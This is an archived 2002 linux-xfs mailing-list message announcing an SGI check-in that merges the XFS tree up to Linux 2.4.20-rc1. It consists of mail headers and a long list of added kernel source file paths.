(dhcp212.munich.sgi.com [144.253.197.212]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA69526 for ; Mon, 4 Nov 2002 13:12:33 -0600 (CST) Received: (from hch@localhost) by dhcp212.munich.sgi.com (8.11.6/8.11.6) id gA52RIm22972 for linux-xfs@oss.sgi.com; Mon, 4 Nov 2002 21:27:18 -0500 Resent-Message-Id: <200211050227.gA52RIm22972@dhcp212.munich.sgi.com> Received: from nodin.corp.sgi.com (nodin.corp.sgi.com [192.26.51.193]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA01443 for ; Mon, 4 Nov 2002 13:11:28 -0600 (CST) From: hch@lab343.munich.sgi.com Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gA4JBOkZ29490872 for ; Mon, 4 Nov 2002 11:11:25 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gA4JAAYM000750 for ; Mon, 4 Nov 2002 20:10:10 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gA4JAARj000749 for hch@sgi.com; Mon, 4 Nov 2002 20:10:10 +0100 Date: Mon, 4 Nov 2002 20:10:10 +0100 Message-Id: <200211041910.gA4JAARj000749@lab343.munich.sgi.com> Subject: TAKE - Merge up to 2.4.20-rc1 To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Mon, 4 Nov 2002 21:27:18 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1497 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs The number of core changes for XFS is a bit down again. Let hope Marcelo merges some more patches in 2.4.21-pre1 as promised.. Date: Mon Nov 4 10:51:29 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.4.20-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:131941a linux/arch/x86_64/boot/bootsect.S - 1.1 linux/Documentation/BK-usage/bk-kernel-howto.txt - 1.1 linux/Documentation/BK-usage/bk-make-sum - 1.1 linux/Documentation/BK-usage/bksend - 1.1 linux/Documentation/BK-usage/bz64wrap - 1.1 linux/Documentation/BK-usage/cset-to-linus - 1.1 linux/Documentation/BK-usage/csets-to-patches - 1.1 linux/Documentation/BK-usage/unbz64wrap - 1.1 linux/arch/mips/vr41xx/common/pciu.c - 1.1 linux/arch/mips/vr41xx/common/time.c - 1.1 linux/arch/x86_64/boot/Makefile - 1.1 linux/Documentation/DocBook/journal-api.tmpl - 1.1 linux/net/sunrpc/timer.c - 1.1 linux/arch/x86_64/Makefile - 1.1 linux/arch/x86_64/boot/compressed/Makefile - 1.1 linux/arch/x86_64/boot/compressed/head.S - 1.1 linux/arch/x86_64/boot/compressed/misc.c - 1.1 linux/arch/x86_64/boot/compressed/miscsetup.h - 1.1 linux/arch/x86_64/boot/install.sh - 1.1 linux/Documentation/filesystems/befs.txt - 1.1 linux/arch/x86_64/boot/setup.S - 1.1 linux/arch/x86_64/boot/tools/build.c - 1.1 linux/net/sched/sch_htb.c - 1.1 linux/Documentation/filesystems/jfs.txt - 1.1 linux/arch/x86_64/boot/video.S - 1.1 linux/arch/x86_64/config.in - 1.1 linux/arch/x86_64/defconfig - 1.1 linux/arch/x86_64/ia32/Makefile - 1.1 linux/arch/x86_64/ia32/fpu32.c - 1.1 linux/arch/x86_64/ia32/ia32_binfmt.c - 1.1 linux/Documentation/ldm.txt - 1.1 linux/arch/x86_64/ia32/ia32_ioctl.c - 1.1 linux/arch/x86_64/ia32/ia32_signal.c - 1.1 linux/Documentation/networking/NAPI_HOWTO.txt - 1.1 linux/arch/x86_64/ia32/ia32entry.S - 1.1 linux/Documentation/networking/e100.txt - 1.1 linux/Documentation/networking/e1000.txt - 1.1 linux/arch/x86_64/ia32/ipc32.c - 1.1 linux/Documentation/networking/khttpd.txt - 1.1 linux/arch/x86_64/ia32/ptrace32.c - 1.1 linux/arch/x86_64/ia32/socket32.c - 1.1 linux/arch/x86_64/ia32/sys_ia32.c - 1.1 linux/arch/x86_64/kernel/Makefile - 1.1 linux/arch/x86_64/kernel/acpitable.c - 1.1 linux/Documentation/powerpc/cpu_features.txt - 1.1 linux/arch/x86_64/kernel/acpitable.h - 1.1 linux/arch/x86_64/kernel/aperture.c - 1.1 linux/Documentation/sound/forte - 1.1 linux/arch/x86_64/kernel/apic.c - 1.1 linux/arch/x86_64/kernel/bluesmoke.c - 1.1 linux/arch/x86_64/kernel/cpuid.c - 1.1 linux/Documentation/usb/silverlink.txt - 1.1 linux/arch/x86_64/kernel/e820.c - 1.1 linux/arch/x86_64/kernel/early_printk.c - 1.1 linux/arch/x86_64/kernel/entry.S - 1.1 linux/net/ipv6/netfilter/ip6t_length.c - 1.1 linux/net/ipv6/netfilter/ip6t_eui64.c - 1.1 linux/arch/x86_64/kernel/head.S - 1.1 linux/arch/x86_64/kernel/head64.c - 1.1 linux/Documentation/x86_64/BUGS - 1.1 linux/Documentation/x86_64/mm.txt - 1.1 linux/arch/x86_64/kernel/i387.c - 1.1 linux/arch/x86_64/kernel/i8259.c - 1.1 linux/arch/x86_64/kernel/init_task.c - 1.1 linux/arch/x86_64/kernel/io_apic.c - 1.1 linux/arch/x86_64/kernel/ioport.c - 1.1 linux/arch/x86_64/kernel/irq.c - 1.1 linux/arch/x86_64/kernel/ldt.c - 1.1 linux/arch/sparc/mm/highmem.c - 1.1 linux/arch/x86_64/kernel/mpparse.c - 1.1 linux/arch/x86_64/kernel/msr.c - 1.1 linux/net/ipv4/netfilter/ipt_pkttype.c - 1.1 linux/net/ipv4/netfilter/ipt_helper.c - 1.1 linux/net/ipv4/netfilter/ipt_ecn.c - 1.1 linux/net/ipv4/netfilter/ipt_dscp.c - 1.1 linux/net/ipv4/netfilter/ipt_conntrack.c - 1.1 linux/net/ipv4/netfilter/ipt_ECN.c - 1.1 linux/net/ipv4/netfilter/ipt_DSCP.c - 1.1 linux/arch/x86_64/kernel/mtrr.c - 1.1 linux/arch/x86_64/kernel/nmi.c - 1.1 linux/arch/x86_64/kernel/pci-dma.c - 1.1 linux/arch/cris/drivers/pcf8563.c - 1.1 linux/arch/x86_64/kernel/pci-gart.c - 1.1 linux/arch/x86_64/kernel/pci-irq.c - 1.1 linux/arch/x86_64/kernel/pci-nommu.c - 1.1 linux/arch/cris/drivers/virtex.c - 1.1 linux/arch/cris/drivers/virtex.h - 1.1 linux/arch/x86_64/kernel/pci-pc.c - 1.1 linux/arch/cris/kernel/fasttimer.c - 1.1 linux/arch/x86_64/kernel/pci-x86_64.c - 1.1 linux/arch/x86_64/kernel/pci-x86_64.h - 1.1 linux/arch/x86_64/kernel/process.c - 1.1 linux/arch/x86_64/kernel/ptrace.c - 1.1 linux/arch/x86_64/kernel/semaphore.c - 1.1 linux/arch/x86_64/kernel/setup.c - 1.1 linux/net/bluetooth/bnep/sock.c - 1.1 linux/net/bluetooth/bnep/netdev.c - 1.1 linux/net/bluetooth/bnep/crc32.h - 1.1 linux/net/bluetooth/bnep/crc32.c - 1.1 linux/net/bluetooth/bnep/core.c - 1.1 linux/net/bluetooth/bnep/bnep.h - 1.1 linux/net/bluetooth/bnep/Makefile - 1.1 linux/net/bluetooth/bnep/Config.in - 1.1 linux/arch/x86_64/kernel/setup64.c - 1.1 linux/arch/x86_64/kernel/signal.c - 1.1 linux/arch/x86_64/kernel/smp.c - 1.1 linux/arch/x86_64/kernel/smpboot.c - 1.1 linux/arch/x86_64/kernel/sys_x86_64.c - 1.1 linux/arch/x86_64/kernel/syscall.c - 1.1 linux/arch/x86_64/kernel/time.c - 1.1 linux/arch/x86_64/kernel/trampoline.S - 1.1 linux/arch/x86_64/kernel/traps.c - 1.1 linux/arch/x86_64/kernel/vsyscall.c - 1.1 linux/lib/zlib_inflate/infutil.h - 1.1 linux/lib/zlib_inflate/infutil.c - 1.1 linux/lib/zlib_inflate/inftrees.h - 1.1 linux/lib/zlib_inflate/inftrees.c - 1.1 linux/lib/zlib_inflate/inflate_syms.c - 1.1 linux/lib/zlib_inflate/inflate.c - 1.1 linux/lib/zlib_inflate/inffixed.h - 1.1 linux/lib/zlib_inflate/inffast.h - 1.1 linux/lib/zlib_inflate/inffast.c - 1.1 linux/lib/zlib_inflate/infcodes.h - 1.1 linux/lib/zlib_inflate/infcodes.c - 1.1 linux/arch/i386/mm/pageattr.c - 1.1 linux/lib/zlib_inflate/infblock.h - 1.1 linux/lib/zlib_inflate/infblock.c - 1.1 linux/lib/zlib_inflate/Makefile - 1.1 linux/lib/zlib_deflate/defutil.h - 1.1 linux/lib/zlib_deflate/deftree.c - 1.1 linux/lib/zlib_deflate/deflate_syms.c - 1.1 linux/arch/ia64/hp/common/Makefile - 1.1 linux/arch/ia64/hp/common/sba_iommu.c - 1.1 linux/lib/zlib_deflate/deflate.c - 1.1 linux/lib/zlib_deflate/Makefile - 1.1 linux/arch/x86_64/kernel/x8664_ksyms.c - 1.1 linux/lib/dump_stack.c - 1.1 linux/arch/x86_64/lib/Makefile - 1.1 linux/arch/ia64/hp/sim/Makefile - 1.1 linux/arch/ia64/hp/sim/hpsim_console.c - 1.1 linux/arch/ia64/hp/sim/hpsim_irq.c - 1.1 linux/arch/ia64/hp/sim/hpsim_machvec.c - 1.1 linux/arch/ia64/hp/sim/hpsim_setup.c - 1.1 linux/arch/ia64/hp/sim/hpsim_ssc.h - 1.1 linux/arch/ia64/hp/zx1/Makefile - 1.1 linux/arch/ia64/hp/zx1/hpzx1_machvec.c - 1.1 linux/arch/ia64/hp/zx1/hpzx1_misc.c - 1.1 linux/lib/Config.in - 1.1 linux/arch/x86_64/lib/bitstr.c - 1.1 linux/arch/x86_64/lib/clear_page.S - 1.1 linux/arch/x86_64/lib/copy_page.S - 1.1 linux/arch/x86_64/lib/copy_user.S - 1.1 linux/arch/x86_64/lib/csum-copy.S - 1.1 linux/arch/x86_64/lib/csum-partial.c - 1.1 linux/arch/x86_64/lib/csum-wrappers.c - 1.1 linux/arch/x86_64/lib/dec_and_lock.c - 1.1 linux/arch/x86_64/lib/delay.c - 1.1 linux/arch/x86_64/lib/getuser.S - 1.1 linux/arch/x86_64/lib/io.c - 1.1 linux/arch/x86_64/lib/iodebug.c - 1.1 linux/arch/x86_64/lib/memcpy.S - 1.1 linux/arch/x86_64/lib/memmove.c - 1.1 linux/arch/x86_64/lib/memset.S - 1.1 linux/arch/x86_64/lib/old-checksum.c - 1.1 linux/arch/x86_64/lib/putuser.S - 1.1 linux/arch/x86_64/lib/thunk.S - 1.1 linux/arch/x86_64/lib/usercopy.c - 1.1 linux/include/linux/zutil.h - 1.1 linux/include/linux/zlib.h - 1.1 linux/include/linux/zconf.h - 1.1 linux/arch/ia64/kernel/perfmon_generic.h - 1.1 linux/arch/ia64/kernel/perfmon_itanium.h - 1.1 linux/arch/ia64/kernel/perfmon_mckinley.h - 1.1 linux/arch/x86_64/math-emu/README - 1.1 linux/arch/ia64/kernel/salinfo.c - 1.1 linux/arch/x86_64/mm/Makefile - 1.1 linux/arch/x86_64/mm/extable.c - 1.1 linux/arch/x86_64/mm/fault.c - 1.1 linux/arch/x86_64/mm/init.c - 1.1 linux/include/linux/ticable.h - 1.1 linux/arch/x86_64/mm/ioremap.c - 1.1 linux/arch/x86_64/mm/k8topology.c - 1.1 linux/arch/x86_64/mm/modutil.c - 1.1 linux/arch/x86_64/mm/numa.c - 1.1 linux/arch/x86_64/mm/pageattr.c - 1.1 linux/arch/x86_64/tools/Makefile - 1.1 linux/include/linux/sunrpc/timer.h - 1.1 linux/arch/x86_64/tools/offset.c - 1.1 linux/arch/ppc64/kernel/rtas_flash.c - 1.1 linux/arch/ia64/lib/copy_page_mck.S - 1.1 linux/arch/x86_64/tools/offset.sed - 1.1 linux/arch/x86_64/vmlinux.lds - 1.1 linux/arch/ia64/lib/ip_fast_csum.S - 1.1 linux/arch/ia64/lib/memcpy_mck.S - 1.1 linux/include/linux/som.h - 1.1 linux/drivers/bluetooth/bluecard_cs.c - 1.1 linux/drivers/bluetooth/bt3c_cs.c - 1.1 linux/drivers/char/alim1535d_wdt.c - 1.1 linux/drivers/char/amd76x_pm.c - 1.1 linux/drivers/char/amd76x_pm.h - 1.1 linux/include/linux/pci_gameport.h - 1.1 linux/drivers/char/amd7xx_tco.c - 1.1 linux/arch/ppc64/kernel/perfmon.c - 1.1 linux/drivers/char/drm/i830.h - 1.1 linux/drivers/char/drm/i830_dma.c - 1.1 linux/drivers/char/drm/i830_drm.h - 1.1 linux/drivers/char/drm/i830_drv.c - 1.1 linux/drivers/char/drm/i830_drv.h - 1.1 linux/drivers/char/hvc_console.c - 1.1 linux/drivers/char/pcmcia/synclink_cs.c - 1.1 linux/drivers/char/pdc_console.c - 1.1 linux/include/linux/netfilter_ipv6/ip6t_length.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_pkttype.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_helper.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_ecn.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_dscp.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_conntrack.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_ECN.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_DSCP.h - 1.1 linux/drivers/char/synclinkmp.c - 1.1 linux/drivers/gsc/Makefile - 1.1 linux/drivers/gsc/README.dino - 1.1 linux/drivers/gsc/asp.c - 1.1 linux/drivers/gsc/busdevice.h - 1.1 linux/drivers/gsc/dino.c - 1.1 linux/drivers/gsc/eisa.c - 1.1 linux/include/linux/intermezzo_lib.h - 1.1 linux/include/linux/intermezzo_idl.h - 1.1 linux/drivers/gsc/eisa_eeprom.c - 1.1 linux/drivers/gsc/eisa_enumerator.c - 1.1 linux/include/linux/hp_sdc.h - 1.1 linux/include/linux/hil_mlc.h - 1.1 linux/include/linux/hil.h - 1.1 linux/drivers/gsc/gsc.c - 1.1 linux/drivers/gsc/lasi.c - 1.1 linux/drivers/gsc/serial.c - 1.1 linux/include/linux/efi.h - 1.1 linux/drivers/gsc/wax.c - 1.1 linux/drivers/hil/Config.in - 1.1 linux/include/linux/cobalt-nvram.h - 1.1 linux/drivers/hil/Makefile - 1.1 linux/drivers/hil/hil_kbd.c - 1.1 linux/drivers/hil/hil_mlc.c - 1.1 linux/drivers/hil/hil_ptr.c - 1.1 linux/drivers/hil/hilkbd.c - 1.1 linux/include/asm-x86_64/xor.h - 1.1 linux/include/asm-x86_64/vsyscall.h - 1.1 linux/include/asm-x86_64/vga.h - 1.1 linux/include/asm-x86_64/user32.h - 1.1 linux/include/asm-x86_64/user.h - 1.1 linux/include/asm-x86_64/unistd.h - 1.1 linux/include/asm-x86_64/unaligned.h - 1.1 linux/include/asm-x86_64/ucontext.h - 1.1 linux/include/asm-x86_64/uaccess.h - 1.1 linux/include/asm-x86_64/types.h - 1.1 linux/include/asm-x86_64/tlb.h - 1.1 linux/include/asm-x86_64/timex.h - 1.1 linux/include/asm-x86_64/termios.h - 1.1 linux/include/asm-x86_64/termbits.h - 1.1 linux/include/asm-x86_64/system.h - 1.1 linux/include/asm-x86_64/string.h - 1.1 linux/include/asm-x86_64/statfs.h - 1.1 linux/include/asm-x86_64/stat.h - 1.1 linux/include/asm-x86_64/spinlock.h - 1.1 linux/include/asm-x86_64/softirq.h - 1.1 linux/include/asm-x86_64/sockios.h - 1.1 linux/include/asm-x86_64/socket32.h - 1.1 linux/include/asm-x86_64/socket.h - 1.1 linux/include/asm-x86_64/smplock.h - 1.1 linux/include/asm-x86_64/smp.h - 1.1 linux/arch/mips/au1000/pb1100/Makefile - 1.1 linux/arch/mips/au1000/pb1100/init.c - 1.1 linux/arch/mips/au1000/pb1100/pci_fixup.c - 1.1 linux/arch/mips/au1000/pb1100/pci_ops.c - 1.1 linux/arch/mips/au1000/pb1100/setup.c - 1.1 linux/include/asm-x86_64/signal.h - 1.1 linux/include/asm-x86_64/siginfo.h - 1.1 linux/include/asm-x86_64/sigcontext32.h - 1.1 linux/include/asm-x86_64/sigcontext.h - 1.1 linux/include/asm-x86_64/shmparam.h - 1.1 linux/include/asm-x86_64/shmbuf.h - 1.1 linux/include/asm-x86_64/setup.h - 1.1 linux/include/asm-x86_64/serial.h - 1.1 linux/include/asm-x86_64/sembuf.h - 1.1 linux/include/asm-x86_64/semaphore.h - 1.1 linux/include/asm-x86_64/segment.h - 1.1 linux/include/asm-x86_64/scatterlist.h - 1.1 linux/include/asm-x86_64/rwsem.h - 1.1 linux/include/asm-x86_64/rwlock.h - 1.1 linux/include/asm-x86_64/resource.h - 1.1 linux/arch/mips/config-shared.in - 1.1 linux/include/asm-x86_64/ptrace.h - 1.1 linux/include/asm-x86_64/proto.h - 1.1 linux/include/asm-x86_64/processor.h - 1.1 linux/include/asm-x86_64/prctl.h - 1.1 linux/include/asm-x86_64/posix_types.h - 1.1 linux/include/asm-x86_64/poll.h - 1.1 linux/include/asm-x86_64/pgtable.h - 1.1 linux/include/asm-x86_64/pgalloc.h - 1.1 linux/include/asm-x86_64/pda.h - 1.1 linux/include/asm-x86_64/pci.h - 1.1 linux/arch/mips/ddb5xxx/ddb5074/Makefile - 1.1 linux/arch/mips/ddb5xxx/ddb5074/int-handler.S - 1.1 linux/arch/mips/ddb5xxx/ddb5074/irq.c - 1.1 linux/arch/mips/ddb5xxx/ddb5074/nile4_pic.c - 1.1 linux/arch/mips/ddb5xxx/ddb5074/pci.c - 1.1 linux/arch/mips/ddb5xxx/ddb5074/pci_ops.c - 1.1 linux/arch/mips/ddb5xxx/ddb5074/setup.c - 1.1 linux/arch/mips/ddb5xxx/ddb5074/time.c - 1.1 linux/include/asm-x86_64/pci-direct.h - 1.1 linux/include/asm-x86_64/parport.h - 1.1 linux/include/asm-x86_64/param.h - 1.1 linux/include/asm-x86_64/page.h - 1.1 linux/include/asm-x86_64/namei.h - 1.1 linux/include/asm-x86_64/mtrr.h - 1.1 linux/include/asm-x86_64/msr.h - 1.1 linux/include/asm-x86_64/msgbuf.h - 1.1 linux/include/asm-x86_64/mpspec.h - 1.1 linux/include/asm-x86_64/module.h - 1.1 linux/include/asm-x86_64/mmzone.h - 1.1 linux/include/asm-x86_64/mmx.h - 1.1 linux/include/asm-x86_64/mmu_context.h - 1.1 linux/include/asm-x86_64/mmu.h - 1.1 linux/include/asm-x86_64/mman.h - 1.1 linux/include/asm-x86_64/mc146818rtc.h - 1.1 linux/include/asm-x86_64/locks.h - 1.1 linux/include/asm-x86_64/linux_logo.h - 1.1 linux/include/asm-x86_64/ldt.h - 1.1 linux/include/asm-x86_64/kmap_types.h - 1.1 linux/include/asm-x86_64/keyboard.h - 1.1 linux/include/asm-x86_64/kdebug.h - 1.1 linux/include/asm-x86_64/irq.h - 1.1 linux/include/asm-x86_64/ipcbuf.h - 1.1 linux/include/asm-x86_64/ipc.h - 1.1 linux/include/asm-x86_64/ioctls.h - 1.1 linux/include/asm-x86_64/ioctl32.h - 1.1 linux/include/asm-x86_64/ioctl.h - 1.1 linux/include/asm-x86_64/io_apic.h - 1.1 linux/include/asm-x86_64/io.h - 1.1 linux/include/asm-x86_64/init.h - 1.1 linux/arch/mips/defconfig-capcella - 1.1 linux/include/asm-x86_64/ide.h - 1.1 linux/include/asm-x86_64/ia32_unistd.h - 1.1 linux/include/asm-x86_64/ia32.h - 1.1 linux/include/asm-x86_64/i387.h - 1.1 linux/arch/mips/defconfig-eagle - 1.1 linux/include/asm-x86_64/hw_irq.h - 1.1 linux/include/asm-x86_64/hdreg.h - 1.1 linux/include/asm-x86_64/hardirq.h - 1.1 linux/include/asm-x86_64/fpu32.h - 1.1 linux/include/asm-x86_64/floppy.h - 1.1 linux/arch/mips/defconfig-pb1100 - 1.1 linux/include/asm-x86_64/fixmap.h - 1.1 linux/include/asm-x86_64/fcntl.h - 1.1 linux/arch/mips/defconfig-sead - 1.1 linux/include/asm-x86_64/errno.h - 1.1 linux/include/asm-x86_64/elf.h - 1.1 linux/include/asm-x86_64/e820.h - 1.1 linux/include/asm-x86_64/dma.h - 1.1 linux/include/asm-x86_64/div64.h - 1.1 linux/include/asm-x86_64/desc.h - 1.1 linux/include/asm-x86_64/delay.h - 1.1 linux/include/asm-x86_64/debugreg.h - 1.1 linux/include/asm-x86_64/current.h - 1.1 linux/include/asm-x86_64/cpufeature.h - 1.1 linux/include/asm-x86_64/checksum.h - 1.1 linux/include/asm-x86_64/calling.h - 1.1 linux/include/asm-x86_64/cache.h - 1.1 linux/include/asm-x86_64/byteorder.h - 1.1 linux/include/asm-x86_64/bugs.h - 1.1 linux/include/asm-x86_64/bootsetup.h - 1.1 linux/include/asm-x86_64/boot.h - 1.1 linux/include/asm-x86_64/bitops.h - 1.1 linux/include/asm-x86_64/atomic.h - 1.1 linux/include/asm-x86_64/asm-macros.i - 1.1 linux/include/asm-x86_64/apicdef.h - 1.1 linux/include/asm-x86_64/apic.h - 1.1 linux/include/asm-x86_64/a.out.h - 1.1 linux/drivers/hil/hp_sdc.c - 1.1 linux/drivers/hil/hp_sdc_mlc.c - 1.1 linux/drivers/hil/hp_sdc_rtc.c - 1.1 linux/drivers/hotplug/acpiphp.h - 1.1 linux/drivers/hotplug/acpiphp_core.c - 1.1 linux/drivers/hotplug/acpiphp_glue.c - 1.1 linux/drivers/hotplug/acpiphp_pci.c - 1.1 linux/drivers/hotplug/acpiphp_res.c - 1.1 linux/arch/ppc/platforms/walnut.h - 1.1 linux/arch/ppc/platforms/walnut.c - 1.1 linux/arch/ppc/platforms/tqm8xx.h - 1.1 linux/arch/ppc/platforms/spruce_setup.c - 1.1 linux/arch/mips/kernel/cpu-probe.c - 1.1 linux/arch/ppc/platforms/spruce_pci.c - 1.1 linux/arch/ppc/platforms/spruce.h - 1.1 linux/arch/ppc/platforms/spd8xx.h - 1.1 linux/arch/ppc/platforms/rpxlite.h - 1.1 linux/arch/ppc/platforms/rpxhiox.h - 1.1 linux/arch/ppc/platforms/rpxclassic.h - 1.1 linux/arch/ppc/platforms/residual.c - 1.1 linux/arch/ppc/platforms/proc_rtas.c - 1.1 linux/arch/ppc/platforms/prep_time.c - 1.1 linux/arch/ppc/platforms/prep_setup.c - 1.1 linux/arch/ppc/platforms/prep_pci.c - 1.1 linux/arch/ppc/platforms/pmac_time.c - 1.1 linux/arch/ppc/platforms/pmac_smp.c - 1.1 linux/include/asm-ppc64/user_exports.h - 1.1 linux/include/asm-ppc64/perfmon.h - 1.1 linux/include/asm-ppc64/iSeries/ItExtVpdPanel.h - 1.1 linux/include/asm-ppc64/hvcall.h - 1.1 linux/include/asm-ppc64/dump.h - 1.1 linux/include/asm-ppc/xics.h - 1.1 linux/arch/ppc/platforms/pmac_sleep.S - 1.1 linux/include/asm-ppc/todc.h - 1.1 linux/arch/ppc/platforms/pmac_setup.c - 1.1 linux/arch/ppc/platforms/pmac_pic.h - 1.1 linux/arch/ppc/platforms/pmac_pic.c - 1.1 linux/arch/ppc/platforms/pmac_pci.c - 1.1 linux/arch/ppc/platforms/pmac_nvram.c - 1.1 linux/arch/ppc/platforms/pmac_feature.c - 1.1 linux/arch/ppc/platforms/pmac_backlight.c - 1.1 linux/arch/ppc/platforms/pal4_setup.c - 1.1 linux/include/asm-ppc/ppc_asm.h - 1.1 linux/include/asm-ppc/ppc4xx_pic.h - 1.1 linux/arch/ppc/platforms/pal4_serial.h - 1.1 linux/arch/ppc/platforms/pal4_pci.c - 1.1 linux/include/asm-ppc/open_pic.h - 1.1 linux/arch/ppc/platforms/pal4.h - 1.1 linux/arch/ppc/platforms/oak_setup.h - 1.1 linux/arch/ppc/platforms/oak_setup.c - 1.1 linux/arch/ppc/platforms/oak.h - 1.1 linux/include/asm-ppc/i8259.h - 1.1 linux/arch/ppc/platforms/mbx.h - 1.1 linux/arch/ppc/platforms/ivms8.h - 1.1 linux/arch/ppc/platforms/gemini_setup.c - 1.1 linux/arch/ppc/platforms/gemini_serial.h - 1.1 linux/arch/ppc/platforms/gemini_prom.S - 1.1 linux/arch/ppc/platforms/gemini_pci.c - 1.1 linux/include/asm-parisc/xor.h - 1.1 linux/include/asm-parisc/tlb.h - 1.1 linux/include/asm-parisc/superio.h - 1.1 linux/include/asm-parisc/rt_sigframe.h - 1.1 linux/include/asm-parisc/rmap.h - 1.1 linux/include/asm-parisc/perf.h - 1.1 linux/include/asm-parisc/module.h - 1.1 linux/include/asm-parisc/mmzone.h - 1.1 linux/include/asm-parisc/grfioctl.h - 1.1 linux/include/asm-parisc/floppy.h - 1.1 linux/include/asm-parisc/eisa_eeprom.h - 1.1 linux/arch/mips/math-emu/dsemul.c - 1.1 linux/arch/mips/math-emu/dsemul.h - 1.1 linux/include/asm-parisc/eisa_bus.h - 1.1 linux/include/asm-parisc/dma.h - 1.1 linux/include/asm-mips64/wbflush.h - 1.1 linux/include/asm-mips64/war.h - 1.1 linux/include/asm-mips64/sibyte/sb1250_prof.h - 1.1 linux/include/asm-mips64/sibyte/io.h - 1.1 linux/include/asm-mips64/sibyte/board.h - 1.1 linux/include/asm-mips64/sgi/sgigio.h - 1.1 linux/include/asm-mips64/pgtable-bits.h - 1.1 linux/include/asm-mips64/mips64_cache.h - 1.1 linux/include/asm-mips64/mips-boards/seadint.h - 1.1 linux/include/asm-mips64/mips-boards/sead.h - 1.1 linux/include/asm-mips/vr41xx/vr41xx.h - 1.1 linux/include/asm-mips/vr41xx/eagle.h - 1.1 linux/include/asm-mips/vr41xx/capcella.h - 1.1 linux/arch/ppc/platforms/gemini.h - 1.1 linux/arch/ppc/platforms/fads.h - 1.1 linux/arch/ppc/platforms/est8260.h - 1.1 linux/arch/ppc/platforms/error_log.h - 1.1 linux/arch/ppc/platforms/error_log.c - 1.1 linux/arch/ppc/platforms/cpc700_pic.c - 1.1 linux/arch/ppc/platforms/cpc700.h - 1.1 linux/arch/ppc/platforms/chrp_time.c - 1.1 linux/arch/ppc/platforms/chrp_smp.c - 1.1 linux/arch/ppc/platforms/chrp_setup.c - 1.1 linux/arch/ppc/platforms/chrp_pci.c - 1.1 linux/arch/ppc/platforms/bseip.h - 1.1 linux/arch/ppc/platforms/apus_setup.c - 1.1 linux/include/asm-mips/sibyte/board.h - 1.1 linux/arch/ppc/platforms/apus_pci.h - 1.1 linux/arch/ppc/platforms/apus_pci.c - 1.1 linux/arch/ppc/platforms/Makefile - 1.1 linux/drivers/ide/ide-sibyte.c - 1.1 linux/drivers/isdn/hisax/amd7930_fn.c - 1.1 linux/drivers/isdn/hisax/amd7930_fn.h - 1.1 linux/drivers/isdn/hisax/enternow.h - 1.1 linux/arch/mips/mips-boards/sead/Makefile - 1.1 linux/arch/mips/mips-boards/sead/sead_int.c - 1.1 linux/arch/mips/mips-boards/sead/sead_setup.c - 1.1 linux/arch/mips/mips-boards/sead/sead_time.c - 1.1 linux/drivers/isdn/hisax/enternow_pci.c - 1.1 linux/drivers/isdn/hisax/ipacx.c - 1.1 linux/drivers/isdn/hisax/ipacx.h - 1.1 linux/drivers/mtd/devices/ms02-nv.c - 1.1 linux/drivers/mtd/devices/ms02-nv.h - 1.1 linux/include/asm-mips/pb1100.h - 1.1 linux/drivers/net/e100/LICENSE - 1.1 linux/drivers/net/e100/Makefile - 1.1 linux/arch/ppc/kernel/todc_time.c - 1.1 linux/include/asm-mips/mips-boards/seadint.h - 1.1 linux/include/asm-mips/mips-boards/sead.h - 1.1 linux/drivers/net/e100/e100.h - 1.1 linux/drivers/net/e100/e100_config.c - 1.1 linux/drivers/net/e100/e100_config.h - 1.1 linux/drivers/net/e100/e100_eeprom.c - 1.1 linux/drivers/net/e100/e100_main.c - 1.1 linux/drivers/net/e100/e100_phy.c - 1.1 linux/arch/mips/mm/r5k-sc.c - 1.1 linux/drivers/net/e100/e100_phy.h - 1.1 linux/drivers/net/e100/e100_proc.c - 1.1 linux/drivers/net/e100/e100_test.c - 1.1 linux/drivers/net/e100/e100_ucode.h - 1.1 linux/drivers/net/e100/e100_vendor.h - 1.1 linux/drivers/net/e1000/LICENSE - 1.1 linux/arch/mips/momentum/ocelot_g/Makefile - 1.1 linux/arch/mips/momentum/ocelot_g/dbg_io.c - 1.1 linux/arch/mips/momentum/ocelot_g/gt-irq.c - 1.1 linux/arch/mips/momentum/ocelot_g/gt64240.h - 1.1 linux/arch/mips/momentum/ocelot_g/gt64240_dep.h - 1.1 linux/arch/mips/momentum/ocelot_g/int-handler.S - 1.1 linux/arch/mips/momentum/ocelot_g/irq.c - 1.1 linux/arch/mips/momentum/ocelot_g/ocelot_pld.h - 1.1 linux/arch/mips/momentum/ocelot_g/pci-irq.c - 1.1 linux/arch/mips/momentum/ocelot_g/pci.c - 1.1 linux/arch/mips/momentum/ocelot_g/prom.c - 1.1 linux/arch/mips/momentum/ocelot_g/reset.c - 1.1 linux/arch/mips/momentum/ocelot_g/setup.c - 1.1 linux/include/asm-mips/dec/rtc-dec.h - 1.1 linux/include/asm-mips/ddb5xxx/ddb5074.h - 1.1 linux/arch/mips/sgi-ip22/ip22-eisa.c - 1.1 linux/drivers/net/e1000/Makefile - 1.1 linux/drivers/net/e1000/e1000.h - 1.1 linux/drivers/net/e1000/e1000_ethtool.c - 1.1 linux/drivers/net/e1000/e1000_hw.c - 1.1 linux/drivers/net/e1000/e1000_hw.h - 1.1 linux/drivers/net/e1000/e1000_main.c - 1.1 